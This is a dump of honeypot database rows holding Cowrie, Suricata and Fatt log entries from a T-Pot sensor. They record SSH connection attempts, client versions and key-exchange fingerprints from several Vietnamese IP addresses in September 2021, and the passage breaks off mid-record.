23512	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:33.655294+03	2021-09-20 14:15:07.601471+03	{"_id": "QgbjAnwBvYTbRNuExQwo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 254686921061004, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 46534, "dest_port": 22, "timestamp": "2021-09-20T11:07:33.655294Z", "@timestamp": "2021-09-20T11:07:33.655Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23513	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:33.322381+03	2021-09-20 14:15:07.60347+03	{"_id": "UAbjAnwBvYTbRNuExgyj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:41490 (192.168.176.2:22) [session: 3545713b3f89]", "session": "3545713b3f89", "@version": "1", "protocol": "ssh", "src_port": 41490, "dest_port": 22, "timestamp": "2021-09-20T11:07:33.322381Z", "@timestamp": "2021-09-20T11:07:33.322Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
23514	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:34.246415+03	2021-09-20 14:15:07.60447+03	{"_id": "UwbjAnwBvYTbRNuExgyj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:35594 (192.168.176.2:22) [session: 12a17984d875]", "session": "12a17984d875", "@version": "1", "protocol": "ssh", "src_port": 35594, "dest_port": 22, "timestamp": "2021-09-20T11:07:34.246415Z", "@timestamp": "2021-09-20T11:07:34.246Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
23515	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:33.928295+03	2021-09-20 14:15:07.605471+03	{"_id": "TwbjAnwBvYTbRNuExgyi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "2ce15ba32ccc", "@version": "1", "duration": 2.4401917457580566, "timestamp": "2021-09-20T11:07:33.928295Z", "@timestamp": "2021-09-20T11:07:33.928Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23516	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:33.642989+03	2021-09-20 14:15:07.606471+03	{"_id": "XQbjAnwBvYTbRNuExgyo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:41378 (192.168.176.2:22) [session: 509dac389da3]", "session": "509dac389da3", "@version": "1", "protocol": "ssh", "src_port": 41378, "dest_port": 22, "timestamp": "2021-09-20T11:07:33.642989Z", "@timestamp": "2021-09-20T11:07:33.642Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23517	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:33.660798+03	2021-09-20 14:15:07.60747+03	{"_id": "WwbjAnwBvYTbRNuExgyj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "01e011b1645c", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:33.660798Z", "@timestamp": "2021-09-20T11:07:33.660Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
23518	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:33.378167+03	2021-09-20 14:15:07.609471+03	{"_id": "ZwbjAnwBvYTbRNuExgyo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 46534, "timestamp": "2021-09-20T11:07:33.378167", "@timestamp": "2021-09-20T11:07:33.378Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23519	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:33.64423+03	2021-09-20 14:15:07.611471+03	{"_id": "aQbjAnwBvYTbRNuExgyo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 41378, "timestamp": "2021-09-20T11:07:33.644230", "@timestamp": "2021-09-20T11:07:33.644Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23520	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:33.940527+03	2021-09-20 14:15:07.612471+03	{"_id": "awbjAnwBvYTbRNuExgyo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 57216, "dest_port": 22, "timestamp": "2021-09-20T11:07:33.940527", "@timestamp": "2021-09-20T11:07:33.940Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
23521	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:33.665098+03	2021-09-20 14:15:07.61447+03	{"_id": "ewbjAnwBvYTbRNuExgyt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "39dfc0d2db48", "@version": "1", "timestamp": "2021-09-20T11:07:33.665098Z", "@timestamp": "2021-09-20T11:07:33.665Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23524	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:33.94076+03	2021-09-20 14:15:07.618471+03	{"_id": "bgbjAnwBvYTbRNuExgyo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "01e011b1645c", "@version": "1", "timestamp": "2021-09-20T11:07:33.940760Z", "@timestamp": "2021-09-20T11:07:33.940Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
23525	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:34.069081+03	2021-09-20 14:15:07.61947+03	{"_id": "bwbjAnwBvYTbRNuExgyo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "dedbc5d5098d", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:34.069081Z", "@timestamp": "2021-09-20T11:07:34.069Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
23526	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:34.338795+03	2021-09-20 14:15:07.62047+03	{"_id": "fgbjAnwBvYTbRNuEyQwR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", 